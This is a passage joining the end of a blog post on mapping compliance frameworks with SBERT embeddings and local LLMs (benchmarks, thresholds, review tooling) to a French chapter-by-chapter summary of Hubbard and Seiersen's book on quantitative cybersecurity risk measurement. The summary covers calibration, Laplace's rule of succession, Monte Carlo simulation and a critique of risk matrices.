❌ Quality varies significantly by model choice—extensive testing required to find good model-task fit **Performance Reality Check**: Our extensive benchmarks revealed that LLM-based mapping is impractical for production use: - **M4 Mac (state-of-the-art hardware)**: ~30 hours for typical framework pairs - **Older hardware**: 72+ hours not uncommon - **Best performing models**: Gemma and Qwen overall showed the best quality-to-speed ratio - **The model lottery**: Most models required extensive testing to validate quality, with many producing poor results despite long runtimes This extreme slowness made checkpoint/resume functionality absolutely essential—losing days of progress to interruption was unacceptable. **Optimization Journey**: Despite implementing several performance improvements, the fundamental speed limitation remained: - HTTP connection pooling (saved ~50-100ms per request) - Model keep-alive to prevent costly reloads (30 minutes) - Pre-warming models at startup - Configurable checkpoint intervals to reduce I/O overhead - Optimized LLM parameters (temperature=0.1, num_predict=200) Even with these optimizations, the 30+ hour runtime on top-tier hardware made LLM mapping viable only for small-scale validation, not production use. This reality drove us to prioritize SBERT. ### Approach 2: SBERT-Based Embedding Mapping **The Hypothesis**: If we treat framework mapping as a pure semantic similarity problem, sentence transformers (SBERT) can compute embeddings and cosine similarity 10-100x faster than LLM inference, with deterministic results. **Implementation**: We built `sbert_mapper.py` using Sentence-BERT models to: 1. **Parse frameworks** identically to the LLM approach 2. **Generate embeddings** for all requirements in both frameworks using pre-trained sentence transformers 3. **Compute similarity matrix** using cosine similarity between all source-target pairs 4. **Classify relationships** based on similarity thresholds: - `equal`: similarity ≥ 0.85 - `intersect`: 0.50 ≤ similarity < 0.85 - `no_relationship`: similarity < 0.50 5. **Return top matches** with similarity scores **Model Options**: - **all-MiniLM-L6-v2**: Fast (1000 sentences/sec), lightweight (384 dims) - **all-mpnet-base-v2**: High quality (768 dims), our recommendation - **paraphrase-multilingual**: For non-English frameworks **Strengths**: - ✅ **Blazingly fast**: 2-30 seconds for frameworks that took LLMs 30-60 minutes - ✅ **Deterministic**: Same input always produces identical output - ✅ **No external services**: Runs completely offline - ✅ **GPU acceleration**: Even faster on CUDA/MPS devices - ✅ **No parsing issues**: Direct numerical computation - ✅ **Mathematically grounded**: Cosine similarity is well-understood **Weaknesses**: - ❌ No natural language explanations - ❌ Less nuanced understanding of context - ❌ Purely similarity-based (can't reason about relationship types) - ❌ Threshold tuning is somewhat arbitrary **Performance**: Significantly faster than LLM-based approaches—typically completing in seconds to minutes what would take LLMs hours or days. Performance scales with framework size and hardware capabilities, with GPU acceleration providing additional speedup. ### Approach 3: Hybrid LLM + Embeddings **The Hypothesis**: What if we give LLMs the benefit of embedding similarity as additional context? They could use it to validate their reasoning while still providing explanations. **Implementation**: Enhanced `semantic_mapper.py` with an optional `--embedding-model` parameter that: 1. Generates embeddings using Ollama's embedding models (nomic-embed-text, mxbai-embed-large) 2. Computes cosine similarity for each source-target pair 3. Passes similarity score to the LLM as context: "The embedding similarity is X. Does this match your semantic analysis?" 4. Outputs both similarity and LLM reasoning **Outcome**: - Provides numerical grounding for LLM decisions - Allows comparison between embedding and LLM scores - Helps identify cases where they disagree (often interesting edge cases) - Still slow (LLM speed remains the bottleneck) ### Multi-Model Comparison We also built `compare_models.py` to systematically compare different LLMs on the same mapping task. Through extensive benchmarking across multiple models, we discovered: - **Agreement patterns**: Where models agree usually indicates high-confidence mappings - **Disagreement analysis**: Where models disagree often highlights nuanced requirements needing human judgment - **Model performance hierarchy**: - **Gemma & Qwen**: Emerged as top performers with the best balance of quality and speed for framework mapping - **Mistral/Llama**: Reasonable quality but significantly slower - **Smaller models** (phi3, deepseek-1.5b, smollm2): Much faster but inconsistent quality—sometimes surprisingly good, often poor - **The "bigger is better" myth**: We found model architecture and training matter more than size—some 3-4B models (Gemma, Qwen) outperformed 7B+ models ## The Complete Toolchain Beyond the core mapping engines, we built supporting tools: ### 1. Visualization: `heatmap_builder.py` Generates heatmap visualizations of the score matrix between frameworks, making patterns visible at a glance: - Clusters of strong relationships - Gaps in coverage - Asymmetric mappings (A→B ≠ B→A) ### 2. Interactive Exploration: `heatmap_builder_notebook.py` Marimo notebook for interactive parameter tuning: - Drag-and-drop CSV loading - Real-time threshold adjustment - Colormap selection - Statistics dashboard ### 3. Simplification: `simplify_mapping.py` Converts detailed mapping CSVs to standard 4-column format: ```csv source_node_id,target_node_id,relationship,strength_of_relationship ``` For easy import into graph databases (Neo4j) or other systems. ### 4. Human Review: `prepare_review.py` Generates Excel and HTML review files with: - Side-by-side requirement descriptions - Filtering options (favor "equal" relationships) - Human-friendly formatting for validation This workflow emerged: ``` 1. Run SBERT mapping (fast exploration) 2. Review heatmap to understand patterns 3. Run LLM mapping on interesting subsets (deep analysis) 4. Compare multi-model results for validation 5. Generate Excel review for expert validation 6. Simplify to standard format for integration ``` ## Key Insights and Best Practices ### 1. Context is Critical Our early attempts used only requirement descriptions. Adding parent/grandparent context improved matching significantly: **Without context**: "Maintain an inventory" → ambiguous **With context**: "Identify > Asset Management > Maintain an inventory of hardware assets" → clear ### 2. The Speed-Quality Trade-off - **SBERT**: Use for rapid exploration, large-scale mapping, deterministic results - **LLM**: Use for detailed analysis, explanation generation, nuanced judgment - **Best practice**: SBERT first for candidates, LLM second for validation ### 3. Multiple Matches Matter Framework relationships are rarely 1:1. Using `--top-n 3-5` reveals: - Primary mappings (strongest match) - Alternative implementations - Partial overlaps - Related requirements for cross-checking ### 4. Threshold Tuning by Use Case Different thresholds serve different needs: - **High threshold (0.7-0.9)**: Compliance mapping (must be certain) - **Medium threshold (0.5-0.7)**: Coverage analysis (interesting relationships) - **Low threshold (0.3-0.5)**: Gap discovery (tangential connections) ### 5. Human-in-the-Loop is Essential AI accelerates but doesn't replace expertise. The tools: - Eliminate 90% of obvious "no relationship" cases - Surface likely matches for expert review - Provide explanations as starting points for validation - Catch non-obvious connections humans might miss ### 6. Model Selection Matters Different models showed different strengths in our extensive testing: **For LLM-based mapping:** - **Gemma & Qwen**: Best overall performers for framework mapping—good quality results with relatively better speed (though still 30+ hours) - **Mistral**: Decent quality but slower than Gemma/Qwen for this task - **Llama 3.1**: More conservative but extremely slow - **DeepSeek/SmolLM**: Tested but did not perform as well as Gemma/Qwen **For SBERT-based mapping:** - **MPNet (all-mpnet-base-v2)**: Best quality-to-speed ratio, our recommended default - **MiniLM (all-MiniLM-L6-v2)**: Fastest option, good for exploration ### 7. The Value of Determinism For production systems, SBERT's determinism is invaluable: - Testable and debuggable - Version-controllable - Reproducible audits - No "why did it change?" questions ## Results and Impact These tools have enabled us to: 1. **Accelerate mapping**: Tasks taking weeks now take hours 2. **Scale coverage**: Map more framework pairs than humanly feasible manually 3. **Improve consistency**: Algorithmic approach reduces human bias 4. **Enable discovery**: Find non-obvious relationships experts missed 5. **Facilitate updates**: Re-run mappings when frameworks evolve 6. **Support experimentation**: Try different models/parameters quickly ## Future Directions Several areas for continued exploration: ### 1. Fine-tuned Models Training SBERT models specifically on security/compliance text could improve accuracy. ### 2. Graph-Based Analysis Treating frameworks as knowledge graphs and using graph algorithms (PageRank, community detection) could reveal structural patterns. ### 3. Bidirectional Mapping Currently we map source→target. Comparing with target→source could identify asymmetries and improve confidence. ### 4. Active Learning Using human corrections to iteratively improve model parameters or fine-tune embeddings. ### 5. Multi-Framework Transitive Mapping If A→B and B→C are known, can we infer A→C? Could this improve coverage and catch errors? ### 6. Confidence Calibration Better understanding when the model is uncertain and should defer to humans. ## Conclusion Framework mapping is a perfect example of a task that AI can accelerate but not fully automate. The combination of: - **SBERT for speed and determinism** - **LLMs for reasoning and explanation** - **Visualization for pattern discovery** - **Human expertise for validation** ...creates a powerful workflow that multiplies human capability. The tools we've built reduce what was a months-long expert task to a days-long collaborative process between AI and humans. More importantly, they make comprehensive framework mapping feasible at the scale of 100+ frameworks—something that was simply not practical before. The code is open source in the CISO Assistant repository under `tools/mapping_builder/`. We hope it accelerates the work of compliance teams everywhere and serves as a template for applying AI to other document-heavy expert tasks. --- _For technical details and usage instructions, see [README.md](README.md) in the mapping_builder directory._ --- ### Fiche Lecture : How to measure anything in cybersecurity risk - 2nd edition, Wiley, 2023 URL: https://intuitem.com/fiche_lecture_how_to_measure_anything Published: 2025-08-17 Author: Eric Laubacher > Hubbard, D. W., & Seiersen, R. (2023). _How to Measure Anything in Cybersecurity Risk_ (2nd ed.). Wiley Cette fiche tente de refléter fidèlement le contenu du livre, à l’exception d’un seul ajout personnel : un exemple illustrant le sophisme du procureur. ## Première partie - Pourquoi la cybersécurité a besoin de meilleures mesures du risque (_Why Cybersecurity Needs Better Measurements for Risk_) ### Chapitre 1 - Le correctif le plus nécessaire en cybersécurité (_The One Patch Most Needed in Cybersecurity_) Ce chapitre présente le problème que le livre souhaite traiter : la qualité insuffisante des méthodes de mesure appliquées dans l'industrie du cyber-risque. L'assurance cyber est comme un canari dans la mine pour mesurer l'évolution globale du risque cyber. On apprend que suite au procès gagné par Merck contre son assureur Chubb, Lloyd's a recommandé que tous les assureurs cyber cessent de couvrir les attaques sponsorisées par des agences gouvernementales. Chubb avait fait valoir que l'attaque NotPetya qui avait frappé Merck était un acte de guerre, donc exclu de l'assurance. Mais le tribunal a considéré que la clause ne concernait que la guerre physique, pas la guerre cyber, et a donné raison à Merck. L'autre attaque mentionnée est celle de SolarWinds, qui a été très vaste, mais non destructive, car seulement à vocation d'espionnage. Ce que l'on peut redouter c'est une attaque aussi vaste que SolarWinds, et aussi destructrice que NotPetya ("The Big One"). Ce qui rend cela possible est l'augmentation de la surface d'attaque (accroissement du nombre d'utilisateurs, de l'usage, des vulnérabilités, possibilité d'une cascade d'intrusions). Comme l'exposition au risque augmente en raison des besoins business, la cybersécurité est devenue un thème majeur pour les entreprises. Ainsi, le rapport "McKinsey on Risk" de 2021 mentionne le risque cyber plus que tous les autres. Cela a conduit à la présence d'un CISO dans la quasi-totalité des Fortune 500. Et les dépenses ont suivi, avec 1 million d'emplois dans la cybersécurité aux USA en 2021. Les entreprises se concentrent principalement sur la gestion des vulnérabilités, la détection des attaques et la remédiation suite aux compromissions. Mais les besoins identifiés dépassent toujours les moyens alloués, et la priorisation des actions joue un rôle fondamental. Pour réaliser cette priorisation, les entreprises s'appuient sur l'intuition (incontournable dans le management), mais aussi dans 80% des cas sur des méthodes de scoring, le plus souvent au moyen d'une matrice probabilité/impact. Ce type d'approche est d'ailleurs recommandé par le NIST, l'ISO, Mitre et OWASP. Les auteurs affirment clairement que cette approche est un échec, car il n'y a aucune preuve de son efficacité, et il y a des preuves qu'elle apporte de la confusion, voire qu'elle peut être pire qu'un choix aléatoire (Tony Cox). L'efficacité perçue est comparée à l'effet placebo. La plupart des experts s'intéressent à l'usage d'approches quantitatives plus performantes, mais des préjugés erronés limitent leur adoption. Le chapitre se conclut par une proposition pour la gestion du risque cyber qui s'appuie sur une approche quantitative basée sur les principes suivants : - Il est possible de considérablement améliorer les méthodes habituelles. - Le risque cyber peut s'appréhender avec les mêmes concepts quantitatifs et mathématiques utilisés dans d'autres domaines de risque. - Ces méthodes quantitatives sont réellement applicables, comme l'expérience des auteurs le montre. - Les méthodes quantitatives peuvent être améliorées constamment, et leur performance peut se mesurer. Cela permet de déterminer un "retour sur mesures de sécurité", et de comparer financièrement différentes approches sur leur coût total prenant en compte la réduction du risque. Pour cela il faut un mode d'emploi pour les professionnels du risque cyber, que ce livre a l'ambition d'être. Le plan proposé est le suivant : - partie 1 : méthode et fondations, comment sait-on que cela fonctionne. - partie 2 : amélioration et précisions, comment appliquer efficacement la méthode. - partie 3 : la gestion du risque cyber pour l'entreprise. ### Chapitre 2 - Introduction à la mesure en cybersécurité (_A measurement Primer for Cybersecurity_) Ce chapitre s'appuie essentiellement sur le célèbre "How to Measure Anything" de Doug Hubbard. Hubbard dénombre trois raisons qui conduisent à penser qu'une chose n'est pas mesurable : 1. Le concept de mesure n'est pas clair. 2. L'objet mesuré n'est pas clairement défini. 3. La méthode de mesure n'est pas maîtrisée. On peut utiliser le mnémotechnique "COM" pour retenir Concept/Objet/Méthode. #### Le concept de mesure Le concept de mesure est le principal obstacle rencontré par les personnes qui pensent que quelque chose ne peut pas être mesuré. C'est notamment la recherche d'une certitude, d'une valeur exacte qui pose un problème, alors que la science se base sur l'idée d'approximation (Bertrand Russell). La définition scientifique de la mesure est la suivante : **une mesure est une réduction quantitativement exprimée de l’incertitude, basée sur une ou plusieurs observations**. Cela rejoint la théorie de l'information de Shannon, l'information permettant de réduire l'incertitude (représentée par l'entropie). En réalité, la conduite des affaires repose sur la gestion de l'incertitude, et toute amélioration dans l'estimation est favorable au succès. Le psychologue Stanley Smith Stevens a décrit en 1946 quatre échelles de mesure : nominal, ordinal, intervalle et ratio. - les échelles ratio sont les plus complètes, sur lesquelles on peut appliquer les opérations mathématiques habituelles (6 $ = 2 * 3 $). - les échelles d'intervalle sont également numériques, mais ne sont pas compatibles avec certaines opérations comme la multiplication ou la division (6°C n'est pas 2x plus chaud que 3°C). - les échelles ordinales (par exemple la dureté des minéraux selon l'échelle de Mohs) ont une relation d'ordre, mais sans notion de différence. - les échelles nominales (par exemple les couleurs) n'ont même pas une relation d'ordre. Les opérations mathématiques usuelles ne sont donc pas applicables aux échelles ordinales et nominales. Elles peuvent néanmoins être utiles et correctement définies, comme l'échelle de Mohs. C'est malheureusement rarement le cas des échelles utilisées en cybersécurité. L'incertitude n'est pas forcément dans la nature du système étudié, elle peut aussi être dans la connaissance de l'observateur. Ainsi, on peut parler de probabilité comme d'un degré de croyance. Cette vue des probabilités s'appelle l'interprétation **subjectiviste** ou **bayésienne**. C'est cette interprétation subjectiviste qui est la plus importante pour prendre des décisions. L'autre interprétation des probabilités, qui s'appuie exclusivement sur le résultat de calculs sur des données, est appelée **fréquentiste**. Les deux approches font débat chez les spécialistes, mais de nombreux scientifiques prestigieux valident l'approche bayésienne, notamment quand l'approche fréquentiste n'est pas applicable. Et subjectif ne veut pas dire irrationnel, les probabilités subjectives doivent être mathématiquement cohérentes et consistantes. #### L'objet de la mesure Souvent on juge qu'un concept n'est pas mesurable car on ne l'a pas bien défini. Cela peut se résoudre en appliquant la méthode de chaîne de clarification : 1. Si c'est important, c'est que c'est détectable/observable. 2. Si c'est détectable, on peut y associer un montant (ou une plage de montants possibles). 3. Si c'est associé à une plage de montants possibles, c'est mesurable. L'objectif de la mesure est également un fil conducteur pour comprendre l'objet de la mesure. La clarification des concepts est fondamentale dans toute discipline scientifique, et cela doit s'appliquer aussi à la cybersécurité. Le livre fournit quelques définitions fondamentales dans cet esprit : - Incertitude : Absence de certitude complète, c’est-à-dire existence de plusieurs possibilités. La “valeur” ou l’“état” véritable n’est pas connu. - Mesure de l’incertitude : Ensemble de probabilités attribuées à un ensemble de possibilités. Exemple : « Il y a 20% de chances qu’une fuite de données se produise dans les cinq prochaines années. » - Risque : État d’incertitude dans lequel certaines des possibilités impliquent une perte, une catastrophe ou un autre résultat indésirable. - Mesure du risque : Ensemble de possibilités, chacune assortie de probabilités quantifiées et de pertes quantifiées. Exemple : « Nous estimons à 10% la probabilité qu’une fuite de données entraîne une action en justice d’un montant supérieur à 10 millions de dollars. » #### Les méthodes de mesure D'après Kahneman, les gens ont des intuitions fortes sur les méthodes d'échantillonnage qui s'avèrent fondamentalement fausses, et qui sont partagées tant par les gens ordinaires que par les scientifiques entraînés. Les experts en cybersécurité n'échappent pas à cette observation. La notion de "statistiquement significatif" est notamment très mal comprise. Il n'y a pas une valeur universellement valable pour la taille d'un échantillon. En statistique inférentielle classique, un résultat est significatif (au seuil de 5%) si la probabilité (p-value) d’obtenir un résultat au moins aussi extrême, en supposant qu’il n’y a pas d’effet réel (l'hypothèse nulle), est inférieure à 5%. Mais cette définition (claire) n'est pas pour autant nécessairement utile, et source de controverse dans la communauté scientifique. Les auteurs recommandent même de ne pas l'utiliser. Ce qui compte réellement, c'est de savoir si les observations réduisent l'incertitude, et si cette réduction d'incertitude conduit à un changement du plan d'action. #### Utilisation de petits échantillons On croit souvent naïvement qu'un petit échantillon n'apporte pas d'information. Pourtant, il y a un théorème mathématique très simple à démontrer, qui contredit cela. > La règle des cinq > Il y a 93,75% de chances que la médiane d’une population se situe entre la plus petite et la plus grande valeur d’un échantillon aléatoire de cinq éléments provenant de cette population. En cybersécurité, on veut souvent évaluer l'incertitude au sujet de l'occurrence d'un événement (par exemple une intrusion) pendant une année donnée. Cela peut s'exprimer par une probabilité qui représente notre conviction. Supposons qu'il n'y a pas eu d'intrusion les 6 dernières années. Que peut-on en déduire ? La règle des cinq n'est pas adaptée dans ce cas. C'est là qu'intervient un autre théorème, démontré en 1814 par Pierre-Simon Laplace. Laplace se demandait quelle était la probabilité que le soleil ne se lève pas demain, sachant qu'il s'est levé tous les jours d'après l'histoire connue (5000 ans). Il a alors démontré le théorème suivant sur des tirages aléatoires : > Règle de Succession de Laplace (LRS en anglais) > Étant donné que quelque chose est arrivé m fois sur un total de n observations, la probabilité qu’il se produise lors de la prochaine observation est : (1 + m) / (2 + n) Appliqué à notre exemple de 6 ans sans intrusion, on trouve (1 + 0) / (2 + 6) = 12,5% de chance d'avoir une intrusion l'année prochaine. Si on a aucune information sur l'événement, la LRS donne 50%, équivalant à tirer une boule rouge dans une urne contenant un nombre indéterminé de boules rouges et noires. À chaque tirage, la probabilité s'affine, mais n'atteindra jamais 0 ou 100%. Si la Règle de Succession de Laplace donne un résultat irréaliste, c’est sans doute que vous ignorez d’autres informations pertinentes. Comme le souligne Daniel Kahneman, adopter une “vue externe” — en s’appuyant sur des données issues d’une classe de référence pertinente (par exemple, celles du reste de l’industrie) — permet d’obtenir une estimation plus réaliste que celle fondée uniquement sur la “vue interne” et vos observations propres. Par exemple, si 1 détaillant sur 78 a eu un incident l'année passée, on peut évaluer à (1 + 1) / (2 + 78) = 2,5% la probabilité d'une attaque pour un détaillant en particulier l'année prochaine. Le chapitre se conclut par une liste d'heuristiques parfois contraires à l'intuition habituelle : 1. Aussi compliqué ou "unique" que semble votre problème de mesure, partez du principe qu'il a déjà été mesuré auparavant. 2. Si vous êtes ingénieux, vous pouvez probablement trouver plus de sources de données que vous ne le pensez. 3. Vous avez probablement besoin de moins de données que vous le dicte votre intuition, ce qui est d'autant plus vrai que l'incertitude est grande. Il existe de nombreuses méthodes plus avancées pour améliorer les mesures. Mais le point commun reste qu'elles s'appuient toutes sur le langage des statistiques. ### Chapitre 3 - L’audit rapide des risques : partir d’un modèle quantitatif simple (_The Rapid Risk Audit: Starting With a Simple Quantitative Risk Model_) L'objectif de ce chapitre est de proposer une méthode d'évaluation quantitative des risques guère plus compliquée que l'approche par matrice de risque. #### Mise en place et terminologie En prenant un poste de CISO dans une entreprise de taille moyenne dépourvue de structure cyber et de budget dédié, un Audit de Risque Rapide permet de bâtir un plan et d’obtenir son financement. En première approche, cela peut se faire en 1 à 2 heures, à partir de quelques interviews ciblées. Il y a six termes clés pour mener les interviews. 1. **Actifs** (_assets_) - ils créent de la valeur que les menaces peuvent compromettre, entraînant un impact financier. Un actif peut être l'entreprise entière, une _business unit_, une application ou un service. 2. **Menaces** (_threats_) - Elles compromettent la valeur des actifs : extorsion par ransomware, fraude par email, interruption à la suite d’une attaque de fournisseur... C'est toute situation pouvant, de manière plausible et matérielle, affecter le business et l'empêcher d'atteindre ses objectifs. Un **événement de menace** est une instance de matérialisation d'une menace. 3. **Vraisemblance** (_likelihood_) - Probabilité qu'une menace se matérialise sur une période donnée (en général : 12 mois). 4. **Impact** - Montant perdu par suite d’un événement de menace. Il est toujours exprimé en termes monétaires, même pour les dommages à la réputation, à la qualité ou à la sûreté, en convertissant la "douleur" en équivalent financier. 5. **Mesures de sécurité** (_controls_) - Actions ou dispositifs réduisant la vraisemblance ou l'impact d'un événement de menace. 6. **Intervalle de confiance** (_Confidence Interval_ ou _Credible Interval_, CI) - Représente l'incertitude sur l'estimation d'un impact monétaire par un intervalle [LB, UB] (LB = _Lower Bound_, UB = _Upper Bound_). Par défaut : CI à 90% → 5% de probabilité que la vraie valeur soit inférieure à l’intervalle et 5% qu’elle soit supérieure. #### Les étapes de l'audit rapide 1. Identifier les sources internes 2. Définir les actifs (conseil : moins de 12) 3. Définir les menaces, en s'appuyant sur une liste de référence ou un registre des risques existant. 4. Évaluer les vraisemblances, à partir de rapports sectoriels ou, à défaut, en appliquant la règle de succession de Laplace (LRS). 5. Évaluer les impacts. Pour chaque menace pour chaque actif, estimer un CI à 90% de la perte potentielle. On utilisera une distribution avec une moyenne proche de la valeur basse. 6. Calculer l'Espérance de Perte Annuelle (_Annual Expected Loss_ : AEL). On multiplie la valeur moyenne de la distribution par la vraisemblance. On peut se contenter de l'équation suivante : AEL = Vraisemblance x (0,65 x LB + 0,35 x UB) 7. Faire la somme des AEL. 8. Utiliser le résultat. On considérera la somme des AEL pour l'entreprise, pour évaluer l'ampleur du problème. Les AEL individuelles permettent une priorisation simple des principaux risques. #### Les sources de données initiales On peut s'appuyer sur des sources externes. - Les primes d'assurance cyber vs l'AEL totale. L'assureur s'attend à payer moins de 60% des primes. - Impact des ransomwares : un rapport Palo Alto estime le paiement moyen à $530000. - Impact des fuites de données : le rapport 2015 DBIR de Verizon estime le coût d'un enregistrement à 58 cents. - Impact des interruptions de service : généralement accessible avec des données internes. De nombreuses autres sources externes sont exploitables, mais sont peut-être hors du scope d'un audit rapide. #### L'expert comme instrument de mesure Les méthodes qualitatives s'appuient sur des opinions d'experts. L'audit rapide des risques le fait également, mais en utilisant des probabilités et des impacts financiers. On peut être plus réticent à estimer une probabilité. Pourtant c'est une approche tout à fait valable, et qui peut s'apprendre, notamment avec la technique de calibration. L'ironie est qu'on peut mesurer la performance à faire des estimations subjectives de probabilité. #### Aide à la décision : retour d'investissement sur les mesures de sécurité Le but de l'analyse de risque est d'aider à la décision. Les méthodes qualitatives sont peu précises pour cela. Ce qu'il faut pour le CISO est un retour d'investissement sur les mesures de sécurité (ROC : Return On Control) > ROC = (réduction de perte espérée / coût de la mesure) - 1. Cela permet de s'aligner sur les conventions usuelles pour les autres investissements. #### Calcul sur l'incertitude Les intervalles sont plus complexes à manipuler que des valeurs précises (AEL) dans un tableau Excel. Par exemple, comment calculer la probabilité que la perte totale soit supérieure à 20 millions de dollars pour une année ? On ne peut pas utiliser les AEL pour cela. Fort heureusement, on peut faire ce genre de calcul à l'aide de la méthode de simulation Monte Carlo. Elle consiste simplement à générer des milliers de scénarios aléatoirement. Pour la vraisemblance, on tire un aléa entre 0 et 1, et on le compare à la vraisemblance estimée pour générer un 0 (pas d'événement) ou 1 (événement). Pour l'impact, il faut utiliser l'inverse de la fonction de répartition de la loi considérée. Ainsi, en lui injectant un aléa entre 0 et 1, on obtient une valeur d'impact. #### Sommer les risques Dans chaque simulation, on peut faire la somme des impacts pour obtenir une perte totale. On obtient ainsi des milliers de pertes totales potentielles. Le nombre de simulation peut être 10000, mais sur des distributions à longue traîne et/ou pour des événements rares, cela peut s'avérer insuffisant. Le plus simple alors est d'augmenter le nombre de simulations, par exemple 100000 ou 1 million. #### Visualisation des risques avec une courbe de dépassement de perte (LEC : _Loss Exceedance Curve_) Dans une matrice de risque, on représente la vraisemblance et l'impact par un simple point. Mais pour représenter la variabilité des impacts, un point unique n'est pas suffisant, il faut une courbe. Comme cela se fait dans d'autres disciplines comme l'actuariat, on va utiliser une courbe de dépassement de perte (LEC), qui indique pour chaque seuil de perte la probabilité correspondante. On peut également ajouter une courbe de risque "inhérent" (avant l'application des mesures proposées), et une courbe de tolérance au risque. Si la courbe de risque inhérent dépasse par endroit la courbe de tolérance au risque, c'est qu'il est nécessaire d'ajouter des mesures, pour arriver à passer sous la courbe de tolérance au risque partout. Un avantage considérable des LEC est qu'on peut sommer les risques sans erreur (en supposant l'indépendance ou en modélisant les dépendances), par exemple : - pour certaines vulnérabilités - pour une BU et certains systèmes - pour l'entreprise globalement Pour faciliter la visualisation, il vaut mieux multiplier les graphiques plutôt que superposer les courbes. #### Comment obtenir la courbe de tolérance au risque ? Cette courbe peut être déterminée par une réunion de 90 minutes avec le management, sous forme de questions-réponses du type : > Accepteriez-vous une probabilité de 10% par an de perdre plus de $5M ? > Quelle probabilité accepteriez-vous pour une perte supérieure à $25M ? Une fois quelques points déterminés, on peut interpoler avec une distribution classique. L'expérience des auteurs montrent que les dirigeants comprennent très bien la notion de tolérance au risque sous forme de courbe. #### Modélisation L'incertitude des analystes peut se représenter par de nombreux modèles : - estimation directe de la probabilité de de l'impact - calcul à partir des types de menaces, de la puissance des menaces, des vulnérabilités, des caractéristiques des systèmes. - calcul par application - calcul par mesure de sécurité Parmi les solutions pour décomposer le risque, on peut citer : - la méthode Hubbard - la méthode FAIR ### Chapitre 4 - La mesure la plus importante en cybersécurité (_The Single Most Important Measurement in Cybersecurity_) Ce chapitre traite de l'efficacité des experts et propose de mesurer leur performance, ainsi que celle des méthodes d'analyse de risque basées sur le jugement humain. #### Les risques de l'analyse placebo Il est connu dans le milieu scientifique que la personne la plus facile à tromper est soi-même (Feynman). Les analystes de risque cyber n'échappent pas à cette règle. La recherche a montré que les experts peuvent accumuler de la confiance sans pour autant améliorer leur performance réelle. Il est donc nécessaire de démontrer l'efficacité des méthodes d'analyse de risque comme on le fait pour les médicaments, en écartant l'opinion, fût-elle d'un expert, et en tenant compte de l'effet placebo. Les auteurs insistent sur la rigueur méthodologique qui les inspire. Comme il n'existe pas d'étude rigoureuse sur l'efficacité des méthodes d'analyse de risques (quelle entreprise prendrait le risque d'être placée dans un groupe "placebo" ?), une approche possible est de comparer des composants de l'analyse de risque déjà bien étudiés en psychologie, notamment le composant humain. #### La prééminence des algorithmes sur les experts Les psychologues ont établi de façon très convaincante qu'un modèle statistique même simpliste est généralement plus performant qu'un expert pour faire une prédiction. On peut citer Paul Meehl dans les années 1950, et plus récemment Philippe Tetlock. Les explications à ce phénomène tiennent à l'inefficacité de notre intuition de saisir les phénomènes statistiques. Or Kahneman a montré que même les professeurs de statistique avaient une intuition statistique déficiente ! Pour faire des statistiques correctes, il ne faut pas faire appel à l'intuition, mais au raisonnement. Kahneman note que les conditions de l'apprentissage sont : - le feedback doit être consistent et fréquent. - le feedback doit être relativement immédiat. - le feedback doit être non-ambigu. Or, les évaluations de risque cyber remplissent rarement ces critères, ce qui limite les gains d’expérience. Cela n’exclut pas que les experts possèdent par ailleurs des connaissances techniques solides. Un autre écueil est la validité de l'environnement d'apprentissage. En cybersécurité, on fait face à des événements rares et bruités, ce qui limite encore l'efficacité de l'apprentissage. Il ne faut pas considérer pour autant que les experts sont inutiles. Ils sont même indispensables, mais doivent être entraînés ("calibrés") pour faire des évaluations correctes. Sans cet entraînement, les experts surestiment souvent la précision de leurs estimations, même en donnant des intervalles de confiance. Des exercices de calibration, qui sont la spécialité de Hubbard, réduisent significativement ce biais et améliorent la précision des jugements. Des méthodes éprouvées permettent de calibrer les jugements, et sont détaillées dans le chapitre 7. #### Le problème du bruit Un autre problème rencontré par les experts est la variabilité de leurs réponses lorsqu'on leur soumet la même question à différents moments. Kahneman, dans son dernier livre "Noise" (coécrit avec Olivier Sibony et Cass Sunstein), a montré que ce "bruit" est un phénomène important et souvent sous-estimé dans le jugement humain. Heureusement, des méthodes existent pour réduire ce bruit, et elles sont détaillées plus tard dans le livre. #### Le problème de la collaboration De nombreux travaux portent sur la façon de combiner les jugements subjectifs de plusieurs experts. La méthode la plus traditionnelle est surnommée BOGSAT (_Bunch Of Guys Sitting Around Talking_) : il s’agit tout simplement de réunir des experts dans une pièce pour discuter de la probabilité ou de l’impact d’un événement jusqu’à atteindre un consensus. Cette approche, bien que répandue, présente des limites importantes. Le simple fait de moyenner les estimations indépendantes améliore déjà les résultats. Le chapitre 7 fournit d'autres méthodes encore plus efficaces. #### L'approche par décomposition Il est possible d'améliorer les estimations d'experts en appliquant une approche par décomposition, avec quatre ou cinq paramètres. Plutôt que d'estimer directement la valeur recherchée, l'expert évalue des variables intermédiaires dont la combinaison permet d'obtenir le résultat final. Cette méthode peut améliorer la précision d'un facteur allant parfois de 10 à 100 ! Ce n'est pas surprenant si on pense à la façon d'estimer le prix d'un chariot de course en additionnant les prix unitaires plutôt qu'en faisant une évaluation globale. Toutefois, la décomposition n'est utile que si l'incertitude sur les composants est plus faible que celle sur la valeur globale. Une mauvaise décomposition peut au contraire dégrader l'estimation. #### Synthèse - Se méfier des phrases commençant par "D'après mon expérience..." - Utiliser autant que possible des modèles quantitatifs explicites fondés sur des données historiques, l'expert servant à sélectionner ces données et à configurer les modèles. - Former les experts à fournir des probabilités subjectives mieux calibrées. - Réduire la variabilité des estimations en prenant la moyenne d'estimations indépendantes de plusieurs experts. - Recourir à la décomposition pour améliorer la précision quand c'est pertinent. ### Chapitre 5 - Matrice de risques, facteurs de distorsion, idées reçues et autres obstacles à la mesure du risque (_Risk Matrices, Lie Factors, Misconceptions, and Other Obstacles to Measuring Risk_) Ce chapitre explique pourquoi les approches par matrice de risque sont déconseillées. Les auteurs ont fait un sondage sur les méthodes utilisés, qui montre que même si les méthodes quantitatives jouissent d'une bonne réputation, 61% des sondés utilisent des matrices de risque, et 74% des échelles ordinales pour évaluer et communiquer sur les risques. #### Le risque des matrices de risque Les échelles ordinales ne sont pas forcément un problème en théorie de la mesure. Mais leur usage à la place d'échelles de ratio pour des probabilités et des impacts est erroné, et réduit la fiabilité des estimations. Le fait qu'il y a un large consensus en faveur des échelles ordinales (OWASP, ISO, ...) doit être considéré avec suspicion, si on considère le problème de l'effet placebo évoqué précédemment. Les 3 problèmes principaux sont : - la psychologie des échelles - L'application des mathématiques à des échelles ordinales - la synergie (négative) entre les deux problèmes précédents. #### La psychologie des échelles Les échelles ordinales sont appréciées pour leur simplicité. Mais la recherche montre que des termes comme "peu probable" ou "très probable" sont interprétés de façon très variable selon les experts : par exemple "très probable" peut signifier de 50% à 100%, et "peu probable" de 5% à 35%. D'autres études indiquent que même lorsque des intervalles précis sont fournis pour chaque valeur ordinale de probabilité, les experts ne les 